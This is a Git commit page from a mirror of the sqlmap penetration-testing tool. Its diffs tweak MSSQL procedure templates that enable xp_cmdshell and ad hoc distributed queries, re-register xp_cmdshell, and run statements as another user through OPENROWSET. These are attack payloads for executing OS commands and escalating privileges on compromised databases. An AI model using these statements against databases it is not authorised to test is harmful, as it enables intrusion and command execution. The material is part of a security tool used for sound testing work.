PenTest/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-12-07 05:01:30 +00:00
Code Issues Projects Releases Wiki Activity

more tweaking for issue #34, it's totally not as trivial as it may look (OPENROWSET has many limitations on MSSQL >= 2005)

Browse Source
This commit is contained in:
Bernardo Damele
2012-07-02 15:02:00 +01:00
parent b7d2680e55
commit 04d803c7fd
8 changed files with 52 additions and 39 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
procs/mssqlserver/configure_openrowset.txt
View File

@@ -3,4 +3,4 @@ RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE;
RECONFIGURE WITH OVERRIDE

8
procs/mssqlserver/configure_xp_cmdshell.txt
View File

@@ -1,6 +1,6 @@
EXEC master..sp_configure 'show advanced options', 1;
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell', %ENABLE%;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE

2
procs/mssqlserver/disable_xp_cmdshell_2000.txt
View File

@@ -1 +1 @@
EXEC master..sp_dropextendedproc 'xp_cmdshell';
EXEC master..sp_dropextendedproc 'xp_cmdshell'

2
procs/mssqlserver/enable_xp_cmdshell_2000.txt
View File

@@ -1 +1 @@
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll';
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'

3
procs/mssqlserver/run_statement_as_user.txt
View File

@@ -1 +1,2 @@
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%');
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','%STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','%STATEMENT%')